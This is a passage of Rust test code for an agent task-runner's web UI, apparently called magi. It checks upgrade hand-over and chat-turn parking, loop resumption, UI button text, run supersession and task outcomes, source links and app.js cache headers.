17880 runs,
17881 home.path().to_path_buf(),
17882 PathBuf::from("/repo/magi"),
17883 )
17884 .with_launch(launch_idle)
17885 }
17886
17887 async fn park_fixture(
17888 home: &TempDir,
17889 ) -> (
17890 Ui,
17891 Arc<Mutex<LoopState>>,
17892 Arc<Mutex<TalkTurns>>,
17893 tokio::task::JoinHandle<std::io::Result<()>>,
17894 ) {
17895 let ui = idle_ui(home);
17896 let looping = ui.looping();
17897 let turns = ui.turns();
17898 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17899 .await
17900 .expect("bind loopback");
17901 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17902 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17903 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17904 (ui, looping, turns, served)
17905 }
17906
17907 #[tokio::test]
17911 async fn hand_over_waits_for_a_running_chat_turn() {
17912 let home = TempDir::new().expect("temp home");
17913 let (ui, looping, turns, served) = park_fixture(&home).await;
17914 let ui = Arc::new(ui);
17915 let id = "20260901-000000-chat";
17916 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17917
17918 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17919 let handover = tokio::spawn({
17920 let home = home.path().to_path_buf();
17921 let turns = Arc::clone(&turns);
17922 let calls = Arc::clone(&calls);
17923 async move {
17924 hand_over(
17925 &home,
17926 &looping,
17927 &turns,
17928 &|_: &[String]| Duration::from_secs(60),
17929 served,
17930 move |_| {
17931 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17932 Ok(1)
17933 },
17934 )
17935 .await
17936 }
17937 });
17938
17939 let waiting = async {
17940 for _ in 0..200 {
17941 if crate::updater::read_progress(home.path())
17942 .is_some_and(|p| p.parked_talks == [id.to_owned()])
17943 {
17944 return;
17945 }
17946 tokio::time::sleep(Duration::from_millis(25)).await;
17947 }
17948 panic!("the park never named the chat turn");
17949 };
17950 waiting.await;
17951 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17952
17953 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17956 assert!(
17957 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17958 "a direct start says an upgrade is in progress"
17959 );
17960 assert!(
17961 ui.begin_queued_talk_turn("20260901-000000-late")
17962 .expect("queued claim")
17963 .is_none()
17964 );
17965 assert!(matches!(
17966 ui.begin_talk_turn_unless_pending("20260901-000000-late")
17967 .expect("start"),
17968 TalkTurnStart::Busy
17969 ));
17970 assert_eq!(turns.lock().unwrap().live.len(), 1);
17971
17972 let progress = crate::updater::read_progress(home.path()).expect("progress");
17974 let view = upgrade_progress_view(&ui, progress);
17975 assert!(
17976 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17977 "{:?}",
17978 view.waiting_on
17979 );
17980
17981 assert!(!handover.is_finished());
17982 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17983 drop(turn);
17984 handover.await.expect("join").expect("hand over");
17985 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17986 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17987 }
17988
17989 #[tokio::test]
17992 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17993 let home = TempDir::new().expect("temp home");
17994 let (ui, looping, turns, served) = park_fixture(&home).await;
17995 let ui = Arc::new(ui);
17996 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17998 lock_or_recover(&looping).live = Some(Live {
17999 stop: daemon::Stop::new(),
18000 handle: tokio::spawn(async move {
18001 let _ = loop_ended.await;
18002 }),
18003 opts: daemon::Opts::default(),
18004 });
18005
18006 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18007 let handover = tokio::spawn({
18008 let home = home.path().to_path_buf();
18009 let turns = Arc::clone(&turns);
18010 let calls = Arc::clone(&calls);
18011 async move {
18012 hand_over(
18013 &home,
18014 &looping,
18015 &turns,
18016 &|_: &[String]| Duration::from_secs(60),
18017 served,
18018 move |_| {
18019 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18020 Ok(1)
18021 },
18022 )
18023 .await
18024 }
18025 });
18026
18027 let reached = async {
18028 for _ in 0..200 {
18029 if crate::updater::read_progress(home.path())
18030 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
18031 {
18032 return;
18033 }
18034 tokio::time::sleep(Duration::from_millis(25)).await;
18035 }
18036 panic!("the hand-over never reached parking");
18037 };
18038 reached.await;
18039
18040 assert!(!turns.lock().unwrap().parking);
18042 let turn = ui
18043 .begin_talk_turn("20260901-000000-chat")
18044 .expect("claim")
18045 .expect("a turn can start while the loop parks");
18046
18047 end_loop.send(()).expect("loop still waiting");
18049 for _ in 0..200 {
18050 if turns.lock().unwrap().parking {
18051 break;
18052 }
18053 tokio::time::sleep(Duration::from_millis(25)).await;
18054 }
18055 assert!(
18056 turns.lock().unwrap().parking,
18057 "closed once the loop is done"
18058 );
18059 let refused = ui.begin_talk_turn("20260901-000000-late").err();
18060 assert!(
18061 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18062 "no turn starts once the loop is done"
18063 );
18064 assert!(
18065 ui.begin_queued_talk_turn("20260901-000000-late")
18066 .expect("queued claim")
18067 .is_none()
18068 );
18069 assert!(!handover.is_finished());
18070 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18071
18072 drop(turn);
18073 handover.await.expect("join").expect("hand over");
18074 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18075 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18076 }
18077
18078 #[tokio::test]
18081 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
18082 let home = TempDir::new().expect("temp home");
18083 let (ui, looping, turns, served) = park_fixture(&home).await;
18084 let id = "20260901-000000-stuk";
18085 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18086
18087 let calls = std::sync::atomic::AtomicUsize::new(0);
18088 hand_over(
18089 home.path(),
18090 &looping,
18091 &turns,
18092 &|_: &[String]| Duration::from_millis(300),
18093 served,
18094 |_| {
18095 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18096 Ok(1)
18097 },
18098 )
18099 .await
18100 .expect("hand over");
18101 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18102
18103 let progress = crate::updater::read_progress(home.path()).expect("progress");
18104 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
18105 assert!(
18106 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
18107 "{:?}",
18108 progress.detail
18109 );
18110 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
18111 assert!(
18112 log.contains("handing over anyway") && log.contains(id),
18113 "{log}"
18114 );
18115 }
18116
18117 #[tokio::test]
18120 async fn drain_loop_starts_no_turn_while_parking() {
18121 let tmp = TempDir::new().expect("tempdir");
18122 let repo = tmp.path().join("repo");
18123 std::fs::create_dir_all(&repo).expect("repo dir");
18124 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
18125 let home = TempDir::new().expect("temp home");
18126 let talks = Talks::at(home.path().join("talks"));
18127 let ui = Ui::new(
18128 Queue::at(home.path().join("queue")),
18129 Questions::at(home.path().join("questions")),
18130 talks.clone(),
18131 home.path().join("runs"),
18132 home.path().to_path_buf(),
18133 repo.clone(),
18134 )
18135 .with_worktrees_root(home.path().join("wt"));
18136 let cfg = config_for(&repo).await.expect("discover config");
18137 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
18138 let id = talk.id.clone();
18139 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
18140 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
18141 let turns = ui.turns();
18142 let parking = ParkingTurns::begin(&turns);
18143
18144 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
18145
18146 assert!(
18147 turns.lock().unwrap().live.is_empty(),
18148 "the slot is given up"
18149 );
18150 let fresh = talks.get(&id).expect("talk");
18151 assert_eq!(fresh.pending, "later", "the draft is still queued");
18152 assert!(fresh.turns.is_empty(), "no turn ran");
18153 drop(parking);
18154 }
18155
18156 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
18158 let looping = ui.looping();
18159 let turns = ui.turns();
18160 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18161 .await
18162 .expect("bind loopback");
18163 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18164 let told = std::sync::Mutex::new(None);
18165 hand_over(
18166 home.path(),
18167 &looping,
18168 &turns,
18169 &|_: &[String]| Duration::from_secs(5),
18170 served,
18171 |resume| {
18172 *told.lock().unwrap() = Some(resume);
18173 Ok(1)
18174 },
18175 )
18176 .await
18177 .expect("hand over");
18178 told.into_inner().unwrap().expect("successor was started")
18179 }
18180
18181 #[tokio::test]
18182 async fn a_running_loop_is_resumed_by_the_successor() {
18183 let home = TempDir::new().expect("temp home");
18184 let ui = idle_ui(&home);
18185 ui.start_loop(None).expect("start");
18186 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18187 for _ in 0..500 {
18189 if !ui.loop_view(None).running {
18190 break;
18191 }
18192 tokio::time::sleep(Duration::from_millis(2)).await;
18193 }
18194 assert!(handed_over(&home, ui).await, "a running loop must resume");
18195
18196 let successor = idle_ui(&home);
18197 assert!(!successor.loop_view(None).running);
18198 assert!(successor.resume_after_handover(true));
18199 assert!(successor.loop_view(None).running);
18200 successor.stop_loop(None, false).expect("stop");
18201 }
18202
18203 #[tokio::test]
18204 async fn a_second_upgrade_request_keeps_the_resume_intent() {
18205 let home = TempDir::new().expect("temp home");
18206 let ui = idle_ui(&home);
18207 ui.start_loop(None).expect("start");
18208 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18209 .expect("first park");
18210 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18211 .expect("second park");
18212 assert!(handed_over(&home, ui).await);
18213 }
18214
18215 #[tokio::test]
18216 async fn a_stop_during_the_handover_wait_is_honoured() {
18217 let home = TempDir::new().expect("temp home");
18218 let ui = idle_ui(&home);
18219 ui.start_loop(None).expect("start");
18220 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18221 ui.stop_loop(None, false).expect("stop");
18222 assert!(!handed_over(&home, ui).await);
18223 }
18224
18225 #[tokio::test]
18226 async fn an_idle_loop_stays_stopped_across_the_handover() {
18227 let home = TempDir::new().expect("temp home");
18228 let ui = idle_ui(&home);
18229 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18230 assert!(!handed_over(&home, ui).await);
18231
18232 let successor = idle_ui(&home);
18233 assert!(!successor.resume_after_handover(false));
18234 assert!(!successor.loop_view(None).running);
18235 }
18236
18237 #[tokio::test]
18238 async fn a_loop_the_operator_stopped_is_not_resumed() {
18239 let home = TempDir::new().expect("temp home");
18240 let ui = idle_ui(&home);
18241 ui.start_loop(None).expect("start");
18242 ui.stop_loop(None, false).expect("stop");
18243 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18244 assert!(!handed_over(&home, ui).await);
18245 }
18246
18247 #[test]
18248 fn only_an_explicit_one_requests_a_resume() {
18249 assert!(!resume_requested(None));
18250 assert!(!resume_requested(Some("0".into())));
18251 assert!(!resume_requested(Some("".into())));
18252 assert!(resume_requested(Some("1".into())));
18253 }
18254
18255 #[test]
18256 fn the_upgrade_button_arms_before_it_restarts_anything() {
18257 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
18260 assert!(APP_JS.contains("Replace the binary and restart?"));
18261 assert!(APP_JS.contains("function confirmed("));
18262 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
18267 assert!(
18271 APP_JS.contains("Parking, then restarting"),
18272 "the button says what it is waiting for"
18273 );
18274 assert!(APP_JS.contains("if (!out.to)"));
18277 }
18278
18279 #[test]
18280 fn stopping_the_loop_arms_but_starting_does_not() {
18281 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
18284 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
18285 assert!(APP_JS.contains("confirmed(button, question)"));
18286 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
18289 assert!(APP_JS.contains("const label = btn.textContent;"));
18290 assert!(!APP_JS.contains("Neither direction is guarded"));
18291 }
18292
18293 #[test]
18294 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
18295 assert!(
18296 APP_JS.contains("state.health.version"),
18297 "the operator wants to know what is running even with nothing newer"
18298 );
18299 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
18300 }
18301
18302 #[test]
18303 fn the_upgrade_button_names_its_destination() {
18304 assert!(
18305 APP_JS.contains("`Update to ${update.to}`"),
18306 "pressing the button should not be a surprise about what it moves to"
18307 );
18308 }
18309
18310 #[test]
18311 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
18312 for stage in ["downloading", "replaced", "parking", "restarting"] {
18313 assert!(
18314 APP_JS.contains(&format!("\"{stage}\"")),
18315 "the phone must be able to tell {stage} apart from the others"
18316 );
18317 }
18318 assert!(APP_JS.contains(".waiting_on"));
18319 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
18324 assert!(APP_JS.contains("reconnects on its own"));
18325 }
18326
18327 #[test]
18328 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
18329 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
18338 ..APP_JS.find("function upgrade(").expect("upgrade")];
18339 assert!(
18340 !body.contains(
18341 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
18342 ),
18343 "a failed upgrade must not take the whole strip over the way it used to"
18344 );
18345 assert!(
18346 body.contains("upgradeFailNote"),
18347 "the failure has to reach the loop's own note instead"
18348 );
18349 assert_eq!(
18353 body.matches("upgradeFailNote].filter(Boolean).join")
18354 .count(),
18355 2,
18356 "both loop-why writers (quiet and control) must fold the note in"
18357 );
18358 }
18359
18360 #[test]
18361 fn an_overdue_upgrade_eventually_asks_for_a_human() {
18362 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
18365 assert!(APP_JS.contains("function upgradeOverdue("));
18366 }
18367
18368 #[test]
18369 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
18370 assert!(
18371 APP_JS.contains("Updated to ${upgradeInfo.to"),
18372 "the operator who asked for the restart wants to know it worked"
18373 );
18374 }
18375
18376 #[test]
18377 fn an_error_is_visible_from_where_the_button_is() {
18378 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
18383 ..APP_CSS.find(".alert-text").expect(".alert-text")];
18384 assert!(
18385 alert.contains("position: fixed"),
18386 "an error about the thing under your thumb has to be visible from \
18387 where your thumb is: {alert}"
18388 );
18389 assert!(
18390 alert.contains("z-index: 25"),
18391 "above the dock (20) and the run-actions FAB (15), so neither \
18392 buries it: {alert}"
18393 );
18394 assert!(
18395 alert.contains("var(--tap)"),
18396 "and clear of the dock and the home indicator: {alert}"
18397 );
18398 assert!(
18401 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
18402 "the FAB's column stays free: {alert}"
18403 );
18404 }
18405
18406 #[tokio::test]
18407 async fn an_older_attempt_says_what_replaced_it() {
18408 let fx = Fixture::start().await;
18409 let q = fx.queue();
18410 let runs = fx.runs();
18411 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18412 write_run(&runs, first, RunStatus::Stalled);
18413 write_run(&runs, second, RunStatus::Blocked);
18414
18415 let mut t = Task::new(
18416 "one task".to_owned(),
18417 "do it".to_owned(),
18418 PathBuf::from("/repo"),
18419 Source::Human,
18420 );
18421 t.runs = vec![first.to_owned(), second.to_owned()];
18422 q.put(&mut t).expect("put");
18423
18424 let rows = fx.get("/api/runs").await.json();
18428 let by = |short: &str| -> Value {
18429 rows.as_array()
18430 .unwrap()
18431 .iter()
18432 .find(|r| r["short"] == short)
18433 .cloned()
18434 .unwrap_or(Value::Null)
18435 };
18436 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
18437 assert!(
18438 by("bbbb")["superseded_by"].is_null(),
18439 "the latest attempt is not superseded by anything"
18440 );
18441 assert!(APP_JS.contains("run.superseded_by"));
18443 assert!(APP_JS.contains("Superseded by"));
18444 }
18445
18446 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
18447 let mut t = Task::new(
18448 "one task".to_owned(),
18449 "do it".to_owned(),
18450 PathBuf::from("/repo"),
18451 Source::Human,
18452 );
18453 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
18454 t.status = status;
18455 t
18456 }
18457
18458 #[test]
18459 fn source_link_picks_the_page_that_filed_the_task() {
18460 let agent = |node: &str| Source::Agent {
18461 run: "20260904-014455-ab12".to_owned(),
18462 node: node.to_owned(),
18463 };
18464 let chat = source_link(&agent("chat")).expect("chat link");
18465 assert_eq!(chat.kind, "chat");
18466 assert_eq!(chat.id, "20260904-014455-ab12");
18467 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
18468 let run = source_link(&agent("implement")).expect("run link");
18469 assert_eq!(
18470 (run.kind, run.href.as_str()),
18471 ("run", "#/runs/20260904-014455-ab12")
18472 );
18473 assert_eq!(source_link(&Source::Human), None);
18474 assert_eq!(
18475 source_link(&Source::Issue {
18476 number: 3,
18477 repo: "o/r".to_owned()
18478 }),
18479 None
18480 );
18481 let odd = source_link(&Source::Agent {
18482 run: "a b/c".to_owned(),
18483 node: "chat".to_owned(),
18484 })
18485 .expect("link");
18486 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
18487 }
18488
18489 #[test]
18490 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
18491 assert!(
18492 !APP_JS.contains("src.node === \"chat\""),
18493 "inline href rule is back"
18494 );
18495 assert!(
18496 APP_JS.matches("sourceLinkOf(").count() >= 4,
18497 "helper must serve every page"
18498 );
18499 assert!(
18500 APP_JS.matches("openChatLink(").count() >= 3,
18501 "the run page still needs its explicit chat link"
18502 );
18503 assert!(
18504 !APP_JS.contains("const openChat = el("),
18505 "the Queue card duplicates its source label link again"
18506 );
18507 assert!(
18508 APP_JS.contains("metaKids.push(link ? el(\"a\""),
18509 "the task page must link a chat source label too"
18510 );
18511 }
18512
18513 #[test]
18514 fn task_ref_carries_the_source_link_for_a_chat_task() {
18515 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18516 t.source = Source::Agent {
18517 run: "20260904-014455-ab12".to_owned(),
18518 node: "chat".to_owned(),
18519 };
18520 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
18521 let v = serde_json::to_value(&out).expect("json");
18522 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
18523 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
18524 assert_eq!(v["source_label"], t.source.label());
18525
18526 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18527 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
18528 .expect("json");
18529 assert!(v["source_link"].is_null(), "{v}");
18530 }
18531
18532 #[test]
18533 fn task_view_serializes_source_link() {
18534 let mut t = Task::new(
18535 "t".to_owned(),
18536 "t".to_owned(),
18537 PathBuf::from("/repo"),
18538 Source::Agent {
18539 run: "20260901-000000-aaaa".to_owned(),
18540 node: "implement".to_owned(),
18541 },
18542 );
18543 t.runs.clear();
18544 let v = serde_json::to_value(TaskView::from(t)).expect("json");
18545 assert_eq!(v["source_link"]["kind"], "run", "{v}");
18546 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
18547 }
18548
18549 #[test]
18550 fn task_view_serializes_urgent_flag() {
18551 let mut t = Task::new(
18552 "t".to_owned(),
18553 "t".to_owned(),
18554 PathBuf::from("/repo"),
18555 Source::Human,
18556 );
18557 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
18558 assert_eq!(v["urgent"], false, "{v}");
18559 t.urgent = true;
18560 let v = serde_json::to_value(TaskView::from(t)).expect("json");
18561 assert_eq!(v["urgent"], true, "{v}");
18562 assert!(APP_JS.contains("task.urgent === true"));
18563 }
18564
18565 #[tokio::test]
18566 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
18567 let fx = Fixture::start().await;
18568 let runs = fx.runs();
18569 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18570 write_run(&runs, old, RunStatus::Blocked);
18571 write_run(&runs, new, RunStatus::Merged);
18572 let mut t = outcome_task(&[old, new], TaskStatus::Done);
18573 fx.queue().put(&mut t).expect("put");
18574
18575 let view = fx.get(&format!("/api/runs/{old}")).await.json();
18576 let task = &view["task"];
18577 assert_eq!(task["status"], "done");
18578 assert_eq!(task["is_latest"], false);
18579 assert_eq!(task["latest"]["short"], "bbbb");
18580 assert_eq!(task["finished_by"]["id"], new);
18581 assert_eq!(task["finished_by"]["outcome"], "merged");
18582 assert_eq!(task["closed_by_hand"], false);
18583 assert_eq!(view["status"], "blocked", "the run keeps its own status");
18584 assert!(APP_JS.contains("finished_by"));
18585 assert!(APP_JS.contains("superseded by run"));
18586 }
18587
18588 #[tokio::test]
18589 async fn the_latest_run_reports_a_held_task_without_a_successor() {
18590 let fx = Fixture::start().await;
18591 let runs = fx.runs();
18592 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18593 write_run(&runs, old, RunStatus::Stalled);
18594 write_run(&runs, new, RunStatus::Blocked);
18595 let mut t = outcome_task(&[old, new], TaskStatus::Held);
18596 fx.queue().put(&mut t).expect("put");
18597
18598 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
18599 assert_eq!(task["status"], "held");
18600 assert_eq!(task["is_latest"], true);
18601 assert!(task["latest"].is_null());
18602 assert!(task["finished_by"].is_null());
18603 assert_eq!(task["closed_by_hand"], false);
18604 }
18605
18606 #[tokio::test]
18607 async fn a_direct_run_has_no_task_outcome() {
18608 let fx = Fixture::start().await;
18609 let runs = fx.runs();
18610 let id = "20260901-000000-aaaa";
18611 write_run(&runs, id, RunStatus::Blocked);
18612 let view = fx.get(&format!("/api/runs/{id}")).await.json();
18613 assert!(view["task"].is_null());
18614 }
18615
18616 #[test]
18617 fn task_outcome_does_not_guess_a_finishing_run() {
18618 let a = "20260901-000000-aaaa";
18619 let b = "20260901-000000-bbbb";
18620 let c = "20260901-000000-cccc";
18621 let dir = tempfile::tempdir().expect("tempdir");
18622 write_run(dir.path(), a, RunStatus::Blocked);
18623 write_run(dir.path(), b, RunStatus::VerifiedNoop);
18624 let read = |id: &str| read_run(dir.path(), id).ok();
18626 let t = outcome_task(&[a, b, c], TaskStatus::Done);
18629 let out = task_outcome(&t, a, 3, read);
18630 assert!(out.finished_by.is_none());
18631 assert!(out.closed_by_hand);
18632 let latest = out.latest.expect("latest");
18633 assert_eq!(latest.id, c);
18634 assert_eq!(latest.status, None);
18635 assert_eq!(latest.outcome, "record unreadable");
18636
18637 write_run(dir.path(), c, RunStatus::Ready);
18639 let t = outcome_task(&[a, c], TaskStatus::Done);
18640 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18641 assert_eq!(out.finished_by.expect("finisher").id, c);
18642 assert!(!out.closed_by_hand);
18643
18644 let t = outcome_task(&[a, b, a], TaskStatus::Held);
18646 assert!(task_outcome(&t, a, 3, read).is_latest);
18647 }
18648
18649 #[tokio::test]
18650 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18651 let fx = Fixture::start().await;
18656 let q = fx.queue();
18657 let runs = fx.runs();
18658 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18659 write_run(&runs, first, RunStatus::Blocked);
18660 write_run(&runs, second, RunStatus::Merged);
18661
18662 let mut t = Task::new(
18663 "one task".to_owned(),
18664 "do it".to_owned(),
18665 PathBuf::from("/repo"),
18666 Source::Human,
18667 );
18668 t.runs = vec![first.to_owned(), second.to_owned()];
18669 q.put(&mut t).expect("put");
18670
18671 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18672 assert_eq!(earlier["superseded_by"], "dddd");
18673 assert_eq!(earlier["latest_attempt"]["id"], second);
18674 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18675 assert_eq!(
18676 earlier["latest_attempt"]["resolved"], true,
18677 "the run that replaced it landed, so this one reads as settled"
18678 );
18679
18680 let later = fx.get(&format!("/api/runs/{second}")).await.json();
18681 assert!(
18682 later["superseded_by"].is_null(),
18683 "the latest attempt is not superseded by anything"
18684 );
18685 assert!(
18686 later["latest_attempt"].is_null(),
18687 "the latest attempt has no later attempt of its own"
18688 );
18689
18690 assert!(APP_JS.contains("run.latest_attempt"));
18697 assert!(APP_JS.contains("data-superseded"));
18698 assert!(APP_JS.contains("#/runs/${latest.id}"));
18699 }
18700
18701 #[tokio::test]
18702 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18703 let fx = Fixture::start().await;
18709 let q = fx.queue();
18710 let runs = fx.runs();
18711 let (a, b, c) = (
18712 "20260901-000000-aaaa",
18713 "20260901-000000-bbbb",
18714 "20260901-000000-cccc",
18715 );
18716 write_run(&runs, a, RunStatus::Blocked);
18717 write_run(&runs, b, RunStatus::Blocked);
18718 write_run(&runs, c, RunStatus::Merged);
18719
18720 let mut t = Task::new(
18721 "retried twice".to_owned(),
18722 "do it".to_owned(),
18723 PathBuf::from("/repo"),
18724 Source::Human,
18725 );
18726 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18727 q.put(&mut t).expect("put");
18728
18729 let view = fx.get(&format!("/api/runs/{a}")).await.json();
18730 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18731 assert_eq!(
18732 view["latest_attempt"]["id"], c,
18733 "the chain's current head, not the intermediate Blocked retry"
18734 );
18735 assert_eq!(view["latest_attempt"]["resolved"], true);
18736
18737 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18738 assert_eq!(mid["latest_attempt"]["id"], c);
18739 assert_eq!(mid["latest_attempt"]["resolved"], true);
18740 }
18741
18742 #[tokio::test]
18743 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18744 let fx = Fixture::start().await;
18745 let q = fx.queue();
18746 let runs = fx.runs();
18747
18748 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18751 write_run(&runs, still_blocked_a, RunStatus::Blocked);
18752 write_run(&runs, still_blocked_b, RunStatus::Blocked);
18753 let mut t1 = Task::new(
18754 "still stuck".to_owned(),
18755 "do it".to_owned(),
18756 PathBuf::from("/repo"),
18757 Source::Human,
18758 );
18759 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18760 q.put(&mut t1).expect("put");
18761 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18762 assert_eq!(view1["latest_attempt"]["resolved"], false);
18763 assert_eq!(view1["latest_attempt"]["status"], "blocked");
18764 assert_eq!(view1["latest_attempt"]["done"], true);
18765
18766 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18768 write_run(&runs, run_a, RunStatus::Blocked);
18769 write_run(&runs, run_b, RunStatus::Implementing);
18770 let mut t3 = Task::new(
18771 "retrying".to_owned(),
18772 "do it".to_owned(),
18773 PathBuf::from("/repo"),
18774 Source::Human,
18775 );
18776 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18777 q.put(&mut t3).expect("put");
18778 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18779 assert_eq!(view3["latest_attempt"]["id"], run_b);
18780 assert_eq!(view3["latest_attempt"]["resolved"], false);
18781 assert_eq!(view3["latest_attempt"]["done"], false);
18782
18783 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18788 write_run(&runs, noop_a, RunStatus::Blocked);
18789 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18790 let mut t2 = Task::new(
18791 "claims done".to_owned(),
18792 "do it".to_owned(),
18793 PathBuf::from("/repo"),
18794 Source::Human,
18795 );
18796 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18797 q.put(&mut t2).expect("put");
18798 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18799 assert_eq!(
18800 view2["latest_attempt"]["resolved"], false,
18801 "an unverified no-op claim must not read as a confirmed finish"
18802 );
18803
18804 assert!(APP_JS.contains("latest.resolved"));
18807 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18810 assert!(APP_JS.contains("Latest attempt: "));
18811 assert!(APP_JS.contains("in flight"));
18812 assert!(APP_JS.contains("not resolved"));
18813 }
18814
18815 #[tokio::test]
18816 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18817 let fx = Fixture::start().await;
18818 let js = fx.get("/app.js").await;
18824 assert_eq!(js.status, 200);
18825 let tag = js
18826 .header("etag")
18827 .expect("an etag to revalidate against")
18828 .to_owned();
18829 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18830 assert_eq!(
18831 js.header("cache-control"),
18832 Some("no-cache, must-revalidate"),
18833 "the phone has to ask every time"
18834 );
18835
18836 let again = fx
18839 .get_with("/app.js", &[("if-none-match", tag.as_str())])
18840 .await;
18841 assert_eq!(
18842 again.status, 304,
18843 "a deck it already has costs one round trip"
18844 );
18845 assert!(again.body.is_empty(), "304 carries no body");
18846
18847 let weak = fx
18850 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18851 .await;
18852 assert_eq!(weak.status, 304);
18853 let stale = fx
